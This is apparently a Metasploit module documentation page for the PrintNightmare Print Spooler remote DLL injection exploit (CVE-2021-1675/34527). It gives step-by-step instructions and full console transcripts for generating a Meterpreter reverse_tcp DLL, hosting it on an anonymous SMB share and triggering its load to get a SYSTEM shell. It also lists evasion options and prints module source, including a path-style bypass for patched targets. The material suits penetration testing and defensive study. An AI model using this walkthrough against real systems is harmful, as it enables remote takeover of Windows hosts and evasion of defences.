Print Spooler Remote DLL Injection - Metasploit


This page contains detailed information about how to use the auxiliary/admin/dcerpc/cve_2021_1675_printnightmare metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Print Spooler Remote DLL Injection
Module: auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
Source code: modules/auxiliary/admin/dcerpc/cve_2021_1675_printnightmare.rb
Disclosure date: -
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2021-1675, CVE-2021-34527

This module is also known as PrintNightmare.

The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN vector which requires the Print Spooler service to be running.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Reliability:

  • unreliable-session: The module isn't expected to get a shell reliably (such as only once).

Stability:

  • crash-service-down: Module may crash the service, and the service remains down.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
msf auxiliary(cve_2021_1675_printnightmare) > show targets
    ... a list of targets ...
msf auxiliary(cve_2021_1675_printnightmare) > set TARGET target-id
msf auxiliary(cve_2021_1675_printnightmare) > show options
    ... show and set options ...
msf auxiliary(cve_2021_1675_printnightmare) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • DLL_PATH: The network-based UNC path or local path on the remote target from which the server should load the DLL

Knowledge Base


Vulnerable Application


The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM.

Verification Steps


  1. Optionally, create a DLL payload that the target will execute
    1. From msfconsole
    2. Do: use payload/windows/x64/meterpreter/reverse_tcp
    3. Set the LHOST and LPORT values
    4. Do: to_handler to start the payload handler
    5. Do: generate -f dll -o /path/to/save/the/payload.dll to generate the DLL file
  2. Start an SMB server with anonymous read access containing the DLL payload.

    1. sudo apt-get install -y samba samba-common
    2. sudo cp -pf /etc/samba/smb.conf /etc/samba/smb.conf.bak to backup your existing config.
    3. sudo mkdir /var/public
    4. Add the following into the end of the /etc/samba/smb.conf file:

      [public]
      comment = Public Directories
      path = /var/public
      guest ok = Yes
      
    5. Restart Samba with sudo service smbd restart.

  3. Generate your DLL and place the file under /var/public.

    msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > use payload/windows/x64/meterpreter/reverse_tcp
    msf6 payload(windows/x64/meterpreter/reverse_tcp) > show options
    
    Module options (payload/windows/x64/meterpreter/reverse_tcp):
    
    Name      Current Setting  Required  Description
    ----      ---------------  --------  -----------
    EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
    LHOST                      yes       The listen address (an interface may be specified)
    LPORT     4444             yes       The listen port
    
    msf6 payload(windows/x64/meterpreter/reverse_tcp) > set LHOST 192.168.224.128
    LHOST => 192.168.224.128
    msf6 payload(windows/x64/meterpreter/reverse_tcp) > set LPORT 8822
    LPORT => 8822
    msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler
    [*] Payload Handler Started as Job 0
    
    [*] Started reverse TCP handler on 192.168.224.128:8822
    msf6 payload(windows/x64/meterpreter/reverse_tcp) > generate -f dll -o /home/gwillcox/payload.dll
    [*] Writing 8704 bytes to /home/gwillcox/payload.dll...
    msf6 payload(windows/x64/meterpreter/reverse_tcp) > sudo mv /home/gwillcox/payload.dll /var/public/payload.dll
    
  4. Exploit the vulnerability to force the target to load the DLL payload

    1. From msfconsole
    2. Do: use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
    3. Set the RHOSTS values
    4. Set the SMBUser and SMBPass values
    5. Set the DLL_PATH value to the UNC path to the server and payload DLL like \\192.168.0.2\public\payload.dll
    6. Run the module

Options


DLL_PATH

The path to the DLL that the server should load. This path can either be a network-based UNC path or a local path on the remote target. The DLL will be copied to the remote server using the same filename.

If the DLL is a payload generated by Metasploit, know that only a single session can be active per target at any time due to how these payloads are synchronized. If the session closes, dies, or the user migrates to a new process, the same DLL can be used again otherwise a new DLL will need to be created for each simultaneously active session. One DLL can however be used to establish multiple sessions simultaneously so long as each session is on a different target.

If this value is a UNC path, it will automatically be converted to use the \??\UNC\ prefix instead of \\ to bypass the path check in certain scenarios.

ReconnectDelay

This is an advanced option.

A delay in seconds to wait before reconnecting to the named pipe.

While exploiting the vulnerability, it is common for the named pipe connection to be closed. This option specifies a delay in seconds to wait before reconnecting to the service. A delay that is too short may fail with STATUS_OBJECT_NAME_NOT_FOUND.

Scenarios


Windows Server 2019

First, generate the payload DLL or use an existing one. Copy it to the SMB server and note the UNC path. Any DLL can be used but the architecture must match the host. This example generates a 64-bit Meterpreter payload using the Reverse TCP stager.

msf6 > use payload/windows/x64/meterpreter/reverse_tcp
msf6 payload(windows/x64/meterpreter/reverse_tcp) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
msf6 payload(windows/x64/meterpreter/reverse_tcp) >
[*] Started reverse TCP handler on 192.168.159.128:4444

msf6 payload(windows/x64/meterpreter/reverse_tcp) > generate -f dll -o /tmp/reverse_tcp.x64.dll
[*] Writing 8704 bytes to /tmp/reverse_tcp.x64.dll...
msf6 payload(windows/x64/meterpreter/reverse_tcp) >

Next, use the module to trigger loading the DLL. Note that when setting the DLL_PATH option, the \ characters are doubled so that they are escaped on the command line.

msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set DLL_PATH \\\\192.168.159.128\\public\\reverse_tcp.x64.dll
DLL_PATH => \\192.168.159.128\public\reverse_tcp.x64.dll
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set RHOSTS 192.168.159.96
RHOSTS => 192.168.159.96
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set SMBUSER aliddle
SMBUSER => aliddle
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set SMBPASS Password1
SMBPASS => Password1
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > run
[*] Running module against 192.168.159.96

[*] 192.168.159.96:445 - Target environment: Windows v10.0.17763 (x64)
[*] 192.168.159.96:445 - Binding to 12345678-1234-abcd-ef00-0123456789ab:1.0@ncacn_np:192.168.159.96[\spoolss] ...
[*] 192.168.159.96:445 - Bound to 12345678-1234-abcd-ef00-0123456789ab:1.0@ncacn_np:192.168.159.96[\spoolss] ...
[*] 192.168.159.96:445 - Enumerating the installed printer drivers...
[*] 192.168.159.96:445 - Using driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_2097e02ea77b432e\Amd64\UNIDRV.DLL
[*] 192.168.159.96:445 - Using directory: C:\Windows\system32\spool\DRIVERS\x64
[*] 192.168.159.96:445 - RpcAddPrinterDriverEx response 0 ERROR_SUCCESS (The operation completed successfully.)
[*] Sending stage (200262 bytes) to 192.168.159.96
[*] 192.168.159.96:445 - Error STATUS_PIPE_BROKEN (The pipe operation has failed because the other end of the pipe has been closed.)
[-] 192.168.159.96:445 - Error STATUS_PIPE_CLOSING (The specified named pipe is in the closing state.)
[-] 192.168.159.96:445 - Error STATUS_PIPE_CLOSING (The specified named pipe is in the closing state.)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > [*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.96:49732) at 2021-07-02 15:59:30 -0400

msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-3MSP8K2LCGC
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : MSFLAB
Logged On Users : 9
Meterpreter     : x64/windows
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the admin/dcerpc/cve_2021_1675_printnightmare auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare

msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > show info

       Name: Print Spooler Remote DLL Injection
     Module: auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Zhiniang Peng
  Xuefeng Li
  Zhipeng Huo
  Piotr Madej
  Zhang Yunhai
  cube0x0
  Spencer McIntyre
  Christophe De La Fuente

Module side effects:
 artifacts-on-disk

Module stability:
 crash-service-down

Module reliability:
 unreliable-session

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  DLL_PATH                    yes       The network-based UNC path or local path on the remote target from which the server should load the DLL
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      445              yes       The SMB service port (TCP)
  SMBDomain  .                no        The Windows domain to use for authentication
  SMBPass                     no        The password for the specified username
  SMBUser                     no        The username to authenticate as

Description:
  The print spooler service can be abused by an authenticated remote 
  attacker to load a DLL through a crafted DCERPC request, resulting 
  in remote code execution as NT AUTHORITY\SYSTEM. This module uses 
  the MS-RPRN vector which requires the Print Spooler service to be 
  running.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-1675
  https://nvd.nist.gov/vuln/detail/CVE-2021-34527
  https://github.com/cube0x0/CVE-2021-1675
  https://github.com/afwu/PrintNightmare
  https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1
  https://github.com/byt3bl33d3r/ItWasAllADream

Also known as:
  PrintNightmare

Module Options


This is a complete list of options available in the admin/dcerpc/cve_2021_1675_printnightmare auxiliary module:

msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > show options

Module options (auxiliary/admin/dcerpc/cve_2021_1675_printnightmare):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DLL_PATH                    yes       The network-based UNC path or local path on the remote target from which the server should load the DLL
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      445              yes       The SMB service port (TCP)
   SMBDomain  .                no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as

Advanced Options


Here is a complete list of advanced options supported by the admin/dcerpc/cve_2021_1675_printnightmare auxiliary module:

msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > show advanced

Module advanced options (auxiliary/admin/dcerpc/cve_2021_1675_printnightmare):

   Name                    Current Setting    Required  Description
   ----                    ---------------    --------  -----------
   AutoCheck               true               no        Run check before exploit
   CHOST                                      no        The local client address
   CPORT                                      no        The local client port
   ConnectTimeout          10                 yes       Maximum number of seconds to establish a TCP connection
   DCERPC::ReadTimeout     10                 yes       The number of seconds to wait for DCERPC responses
   ForceExploit            false              no        Override check result
   NTLM::SendLM            true               yes       Always send the LANMAN response (except when NTLMv2_session is specified)
   NTLM::SendNTLM          true               yes       Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
   NTLM::SendSPN           true               yes       Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
   NTLM::UseLMKey          false              yes       Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
   NTLM::UseNTLM2_session  true               yes       Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
   NTLM::UseNTLMv2         true               yes       Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
   Proxies                                    no        A proxy chain of format type:host:port[,type:host:port][...]
   ReconnectDelay          10                 yes       A delay in seconds to wait before reconnecting to the named pipe
   SMB::AlwaysEncrypt      true               yes       Enforces encryption even if the server does not require it (SMB3.x only). Note that when it is set to false, the SMB client will still encrypt the communication if the server requires it
   SMB::ChunkSize          500                yes       The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
   SMB::Native_LM          Windows 2000 5.0   yes       The Native LM to send during authentication
   SMB::Native_OS          Windows 2000 2195  yes       The Native OS to send during authentication
   SMB::ProtocolVersion    1,2,3              yes       One or a list of coma-separated SMB protocol versions to negotiate (e.g. "1" or "1,2" or "2,3,1")
   SMB::VerifySignature    false              yes       Enforces client-side verification of server response signatures
   SMBDirect               true               no        The target port is a raw SMB service (not NetBIOS)
   SMBName                 *SMBSERVER         yes       The NetBIOS hostname (required for port 139 connections)
   SSL                     false              no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                  no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER               no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto               yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false              no        Enable detailed status messages
   WORKSPACE                                  no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/dcerpc/cve_2021_1675_printnightmare module can do:

msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/dcerpc/cve_2021_1675_printnightmare auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > show evasion

Module evasion options:

   Name                             Current Setting  Required  Description
   ----                             ---------------  --------  -----------
   DCERPC::fake_bind_multi          true             no        Use multi-context bind calls
   DCERPC::fake_bind_multi_append   0                no        Set the number of UUIDs to append the target
   DCERPC::fake_bind_multi_prepend  0                no        Set the number of UUIDs to prepend before the target
   DCERPC::max_frag_size            4096             yes       Set the DCERPC packet fragmentation size
   DCERPC::smb_pipeio               rw               no        Use a different delivery method for accessing named pipes (Accepted: rw, trans)
   SMB::obscure_trans_pipe_level    0                yes       Obscure PIPE string in TransNamedPipe (level 0-3)
   SMB::pad_data_level              0                yes       Place extra padding between headers and data (level 0-3)
   SMB::pad_file_level              0                yes       Obscure path names used in open/create (level 0-3)
   SMB::pipe_evasion                false            yes       Enable segmented read/writes for SMB Pipes
   SMB::pipe_read_max_size          1024             yes       Maximum buffer size for pipe reads
   SMB::pipe_read_min_size          1                yes       Minimum buffer size for pipe reads
   SMB::pipe_write_max_size         1024             yes       Maximum buffer size for pipe writes
   SMB::pipe_write_min_size         1                yes       Minimum buffer size for pipe writes
   TCP::max_send_size               0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay                  0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to connect to the remote service.


Here is a relevant code snippet related to the "Failed to connect to the remote service." error message:

289:	
290:	  def check
291:	    begin
292:	      connect(backend: :ruby_smb)
293:	    rescue Rex::ConnectionError
294:	      return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')
295:	    end
296:	
297:	    begin
298:	      smb_login
299:	    rescue Rex::Proto::SMB::Exceptions::LoginError

Failed to authenticate to the remote service.


Here is a relevant code snippet related to the "Failed to authenticate to the remote service." error message:

295:	    end
296:	
297:	    begin
298:	      smb_login
299:	    rescue Rex::Proto::SMB::Exceptions::LoginError
300:	      return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')
301:	    end
302:	
303:	    begin
304:	      dcerpc_bind_spoolss
305:	    rescue RubySMB::Error::UnexpectedStatusCode => e

The 'Print Spooler' service is disabled.


Here is a relevant code snippet related to the "The 'Print Spooler' service is disabled." error message:

303:	    begin
304:	      dcerpc_bind_spoolss
305:	    rescue RubySMB::Error::UnexpectedStatusCode => e
306:	      nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
307:	      if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
308:	        print_error("The 'Print Spooler' service is disabled.")
309:	      end
310:	      return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")
311:	    end
312:	
313:	    arch = dcerpc_getarch

The DCERPC bind failed with error <NT_STATUS.NAME> (<NT_STATUS.DESCRIPTION>).


Here is a relevant code snippet related to the "The DCERPC bind failed with error <NT_STATUS.NAME> (<NT_STATUS.DESCRIPTION>)." error message:

305:	    rescue RubySMB::Error::UnexpectedStatusCode => e
306:	      nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
307:	      if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
308:	        print_error("The 'Print Spooler' service is disabled.")
309:	      end
310:	      return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")
311:	    end
312:	
313:	    arch = dcerpc_getarch
314:	    # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43
315:	    if arch == ARCH_X64

Successfully bound to the remote service.


Here is a relevant code snippet related to the "Successfully bound to the remote service." error message:

315:	    if arch == ARCH_X64
316:	      @environment = 'Windows x64'
317:	    elsif arch == ARCH_X86
318:	      @environment = 'Windows NT x86'
319:	    else
320:	      return Exploit::CheckCode::Detected('Successfully bound to the remote service.')
321:	    end
322:	
323:	    print_status("Target environment: Windows v#{simple.client.os_version} (#{arch})")
324:	
325:	    print_status('Enumerating the installed printer drivers...')

t be mapped to a Win32 error code


Here is a relevant code snippet related to the "t be mapped to a Win32 error code" error message:

335:	      p_config_file: 'C:\\Windows\\System32\\kernel32.dll',
336:	      p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"
337:	    )
338:	
339:	    case add_printer_driver_ex(container)
340:	    when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
341:	      return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
342:	    when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
343:	      return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
344:	    when ::WindowsError::Win32::ERROR_BAD_NET_NAME
345:	      return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')

Received unknown status code, implying the target is not vulnerable.


Here is a relevant code snippet related to the "Received unknown status code, implying the target is not vulnerable." error message:

336:	      p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"
337:	    )
338:	
339:	    case add_printer_driver_ex(container)
340:	    when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
341:	      return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
342:	    when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
343:	      return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
344:	    when ::WindowsError::Win32::ERROR_BAD_NET_NAME
345:	      return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
346:	    when ::WindowsError::Win32::ERROR_ACCESS_DENIED

Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.


Here is a relevant code snippet related to the "Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable." error message:

338:	
339:	    case add_printer_driver_ex(container)
340:	    when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
341:	      return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
342:	    when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
343:	      return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
344:	    when ::WindowsError::Win32::ERROR_BAD_NET_NAME
345:	      return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
346:	    when ::WindowsError::Win32::ERROR_ACCESS_DENIED
347:	      return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
348:	    end

Received ERROR_BAD_NET_NAME, implying the target is vulnerable.


Here is a relevant code snippet related to the "Received ERROR_BAD_NET_NAME, implying the target is vulnerable." error message:

340:	    when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
341:	      return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
342:	    when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
343:	      return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
344:	    when ::WindowsError::Win32::ERROR_BAD_NET_NAME
345:	      return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
346:	    when ::WindowsError::Win32::ERROR_ACCESS_DENIED
347:	      return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
348:	    end
349:	
350:	    Exploit::CheckCode::Detected('Successfully bound to the remote service.')

Received ERROR_ACCESS_DENIED implying the target is patched.


Here is a relevant code snippet related to the "Received ERROR_ACCESS_DENIED implying the target is patched." error message:

342:	    when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
343:	      return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
344:	    when ::WindowsError::Win32::ERROR_BAD_NET_NAME
345:	      return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
346:	    when ::WindowsError::Win32::ERROR_ACCESS_DENIED
347:	      return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
348:	    end
349:	
350:	    Exploit::CheckCode::Detected('Successfully bound to the remote service.')
351:	  end
352:	

Successfully bound to the remote service.


Here is a relevant code snippet related to the "Successfully bound to the remote service." error message:

345:	      return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
346:	    when ::WindowsError::Win32::ERROR_ACCESS_DENIED
347:	      return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
348:	    end
349:	
350:	    Exploit::CheckCode::Detected('Successfully bound to the remote service.')
351:	  end
352:	
353:	  def run
354:	    fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?
355:	    fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?

Only x86 and x64 targets are supported.


Here is a relevant code snippet related to the "Only x86 and x64 targets are supported." error message:

349:	
350:	    Exploit::CheckCode::Detected('Successfully bound to the remote service.')
351:	  end
352:	
353:	  def run
354:	    fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?
355:	    fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?
356:	
357:	    dll_path = datastore['DLL_PATH'].strip
358:	    if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/
359:	      # targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass

Failed to enumerate the driver directory.


Here is a relevant code snippet related to the "Failed to enumerate the driver directory." error message:

350:	    Exploit::CheckCode::Detected('Successfully bound to the remote service.')
351:	  end
352:	
353:	  def run
354:	    fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?
355:	    fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?
356:	
357:	    dll_path = datastore['DLL_PATH'].strip
358:	    if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/
359:	      # targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass
360:	      # otherwise the operation will fail with ERROR_INVALID_PARAMETER

Failed to enumerate printer drivers.


Here is a relevant code snippet related to the "Failed to enumerate printer drivers." error message:

403:	  end
404:	
405:	  def enum_printer_drivers(environment)
406:	    response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)
407:	    response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
408:	    fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length
409:	    DriverInfo2.read(response.p_drivers.referent.value.map(&:chr).join)
410:	  end
411:	
412:	  def get_printer_driver_directory(environment)
413:	    response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)

Failed to obtain the printer driver directory.


Here is a relevant code snippet related to the "Failed to obtain the printer driver directory." error message:

410:	  end
411:	
412:	  def get_printer_driver_directory(environment)
413:	    response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)
414:	    response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
415:	    fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length
416:	    RubySMB::Field::Stringz16.read(response.p_driver_directory.referent.value.map(&:chr).join).encode('ASCII-8BIT')
417:	  end
418:	
419:	  def add_printer_driver_ex(container)
420:	    reconnect = true

Error <NT_STATUS.NAME> (<NT_STATUS.DESCRIPTION>)


Here is a relevant code snippet related to the "Error <NT_STATUS.NAME> (<NT_STATUS.DESCRIPTION>)" error message:

422:	
423:	    begin
424:	      response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)
425:	    rescue RubySMB::Error::UnexpectedStatusCode => e
426:	      nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
427:	      message = "Error #{nt_status.name} (#{nt_status.description})"
428:	      if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN
429:	        # STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected
430:	        fail_with(Failure::Disconnected, 'The named pipe connection was broken.') unless reconnect
431:	        reconnect = false
432:	

The named pipe connection was broken.


Here is a relevant code snippet related to the "The named pipe connection was broken." error message:

425:	    rescue RubySMB::Error::UnexpectedStatusCode => e
426:	      nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
427:	      message = "Error #{nt_status.name} (#{nt_status.description})"
428:	      if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN
429:	        # STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected
430:	        fail_with(Failure::Disconnected, 'The named pipe connection was broken.') unless reconnect
431:	        reconnect = false
432:	
433:	        print_status("The named pipe connection was broken, reconnecting after a #{datastore['ReconnectDelay'].to_i} second delay.")
434:	        sleep datastore['ReconnectDelay'].to_i
435:	        begin

Failed to reconnect to the named pipe.


Here is a relevant code snippet related to the "Failed to reconnect to the named pipe." error message:

433:	        print_status("The named pipe connection was broken, reconnecting after a #{datastore['ReconnectDelay'].to_i} second delay.")
434:	        sleep datastore['ReconnectDelay'].to_i
435:	        begin
436:	          dcerpc_bind_spoolss
437:	        rescue RubySMB::Error::UnexpectedStatusCode => e
438:	          fail_with(Failure::Unreachable, 'Failed to reconnect to the named pipe.')
439:	        end
440:	
441:	        retry
442:	      else
443:	        print_error(message)

RpcAddPrinterDriverEx response <RESPONSE.ERROR_STATUS>


Here is a relevant code snippet related to the "RpcAddPrinterDriverEx response <RESPONSE.ERROR_STATUS>" error message:

445:	
446:	      return nt_status
447:	    end
448:	
449:	    error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first
450:	    message = "RpcAddPrinterDriverEx response #{response.error_status}"
451:	    message << " #{error.name} (#{error.description})" unless error.nil?
452:	    vprint_status(message)
453:	    error
454:	  end
455:	

The <NAME> Print System RPC request failed (<E.MESSAGE>).


Here is a relevant code snippet related to the "The <NAME> Print System RPC request failed (<E.MESSAGE>)." error message:

457:	    request = PrintSystem.const_get("#{name}Request").new(**kwargs)
458:	
459:	    begin
460:	      raw_response = dcerpc.call(request.opnum, request.to_binary_s)
461:	    rescue Rex::Proto::DCERPC::Exceptions::Fault => e
462:	      fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).")
463:	    end
464:	
465:	    PrintSystem.const_get("#{name}Response").read(raw_response)
466:	  end
467:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Zhiniang Peng
  • Xuefeng Li
  • Zhipeng Huo
  • Piotr Madej
  • Zhang Yunhai
  • cube0x0
  • Spencer McIntyre
  • Christophe De La Fuente

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.